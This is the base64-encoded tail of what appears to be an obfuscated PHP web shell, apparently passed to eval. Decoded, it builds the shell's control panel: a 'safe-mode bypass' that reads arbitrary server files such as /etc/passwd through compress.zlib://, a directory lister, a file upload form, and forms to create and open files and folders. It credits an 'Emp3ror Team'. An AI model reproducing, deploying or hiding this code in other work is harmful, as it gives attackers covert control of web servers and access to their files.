dwIj4KCSAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9ImJ0bkciIFZBTFVFPSJTZWFyY2giPgogICAgPC9mb3JtPjwvY2VudGVyPgogICAgPC90ZD4KPC90cj48L1RBQkxFPjxicj4KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxMTYiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgo8dHI+PHRkIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPlByZWRkeSdzIHRyaWNrcyA6RCA8L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPgo8dHI+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICAgPGRpdiBhbGlnbj0iY2VudGVyIj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoUmVhZCBGaWxlcykKICAgIDwvZGl2Pjxicj4KICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPgogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICBGaWxlOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgbWV0aG9kPSJnZXQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVhZCBGaWxlIj48YnI+PGJyPiBlZzogL2V0Yy9wYXNzd2Q8YnI+CiAgICAgIAogICAgICAKICAgICAgCiAgICAgICAgICAgCiAgICAgIAogICAgICAKICAgICAgPD8KICAgICAgCiAgICAgIGZ1bmN0aW9uIHJzZ19yZWFkKCkKCXsJCgkkdGVzdD0iIjsKCSR0ZW1wPXRlbXBuYW0oJHRlc3QsICJjeCIpOwoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsJCgkkZ2V0PWh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOwoJZWNobyAiPGJyPlRyeWluZyBUbyBHZXQgRmlsZSA8Zm9udCBjb2xvcj0jMDAwMDk5PjxiPiRnZXQ8L2I+PC9mb250Pjxicj4iOwoJaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGUsICR0ZW1wKSl7CgkkZmljaGllciA9IGZvcGVuKCR0ZW1wLCAiciIpOwoJJGFjdGlvbiA9IGZyZWFkKCRmaWNoaWVyLCBmaWxlc2l6ZSgkdGVtcCkpOwoJZmNsb3NlKCRmaWNoaWVyKTsKCSRzb3VyY2U9aHRtbHNwZWNpYWxjaGFycygkYWN0aW9uKTsKCWVjaG8gIjxkaXYgY2xhc3M9XCJzaGVsbFwiPjxiPlN0YXJ0ICRnZXQ8L2I+PGJyPjxicj48Zm9udCBjb2xvcj1cIndoaXRlXCI+JHNvdXJjZTwvZm9udD48YnI+PGI+PGJyPkZpbiA8Zm9udCBjb2xvcj0jMDAwMDk5PiRnZXQ8L2ZvbnQ+PC9iPiI7Cgl1bmxpbmsoJHRlbXApOwoJfSBlbHNlIHsKCWRpZSgiPEZPTlQgQ09MT1I9XCJSRURcIj48Q0VOVEVSPlNvcnJ5Li4uIEZpbGUKCTxCPiIuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuIjwvQj4gZG9zZW4ndCBleGlzdHMgb3IgeW91IGRvbid0IGhhdmUKCWFjY2Vzcy48L0NFTlRFUj48L0ZPTlQ+Iik7CgkJCX0KCWVjaG8gIjwvZGl2PiI7Cgl9CgkKCWlmKGlzc2V0KCRfR0VUWydmaWxlJ10pKQp7CnJzZ19yZWFkKCk7Cn0KCQoJPz4KCQoJPD8KCQoJZnVuY3Rpb24gcnNnX2dsb2IoKQp7CiRjaGVtaW49JF9HRVRbJ2RpcmVjdG9yeSddOwokZmlsZXMgPSBnbG9iKCIkY2hlbWluKiIpOwplY2hvICJUcnlpbmcgVG8gTGlzdCBGb2xkZXIgPGZvbnQgY29sb3I9IzAwMDA5OT48Yj4kY2hlbWluPC9iPjwvZm9udD48YnI+IjsKZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkgewoJZWNobyAiPHByZT4iOwogICBlY2hvICIkZmlsZW5hbWVcbiI7CiAgIGVjaG8gIjwvcHJlPiI7Cn0KfQoKaWYoaXNzZXQoJF9HRVRbJ2RpcmVjdG9yeSddKSkKewpyc2dfZ2xvYigpOwp9Cgo/PgoKICAgICAgICAgIDxicj4KICAgICAgPC9kaXY+CiAgICA8L2Zvcm0+CiAgICA8L3RkPgogIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj4KICAgPGNlbnRlcj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoTGlzdCBEaXJlY3Rvcmllcyk6ICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj48YnI+CiAgICAgIERpcjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcmVjdG9yeSIgbWV0aG9kPSJnZXQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTGlzdCBEaXJlY3RvcnkiPjxicj48YnI+IGVnOiAvZXRjLzxicj4KCiAgICA8L2Zvcm0+PC9jZW50ZXI+CiAgICA8L3RkPgo8L3RyPjwvVEFCTEU+PGJyPgo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgoKPHRyPgogPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9c2VhcmNoJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+U2VhcmNoPC9iPjwvYT4gOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2hfbmFtZSIgc2l6ZT0iMjkiIHZhbHVlPSIoLiopIj4mbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InNlYXJjaF9uYW1lX3JlZ2V4cCIgdmFsdWU9IjEiICBjaGVja2VkPiAtIHJlZ2V4cCZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iU2VhcmNoIj48L2Zvcm0+PC9jZW50ZXI+PC9wPjwvdGQ+CiA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD11cGxvYWQmZD08P3BocCBlY2hvICR1ZDsgPz4iPjxiPlVwbG9hZDwvYj48L2E+IDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJ1cGxvYWQiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ibWluaWZvcm0iIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlVwbG9hZCI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj4KPC90YWJsZT4KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IE1ha2UgRGlyIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibWtkaXIiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtkaXIiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBNYWtlIEZpbGUgOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Im1rZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJta2ZpbGUiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZnQiIHZhbHVlPSJlZGl0Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBHbyBEaXIgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJscyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBHbyBGaWxlIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iZ29maWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI5OTAiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxwIGFsaWduPSJjZW50ZXIiPjxiPi0tWyBTaGVsbCBbY2ldIC4gQml6IDw/cGhwIGVjaG8gJHNodmVyOyA/PiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1hYm91dCI+PHU+PGI+TW9kZGVkIGJ5PC9iPjwvdT48L2E+IEsxcjQgQCBnbWFpbC4gY29tfCA8YSBocmVmPSJodHRwOi8vZW1wM3Jvci5jb20iPjxmb250IGNvbG9yPSIjRkYwMDAwIj5FbXAzcm9yIFRlYW08L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjRkYwMDAwIj48L2ZvbnQ+IHwgR2VuZXJhdGlvbiB0aW1lOiA8P3BocCBlY2hvIHJvdW5kKGdldG1pY3JvdGltZSgpLXN0YXJ0dGltZSw0KTsgPz4gXS0tPC9iPjwvcD48L3RkPjwvdHI+PC90YWJsZT4KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFzdGRpcik7IGV4aXQoKTsg'));
?>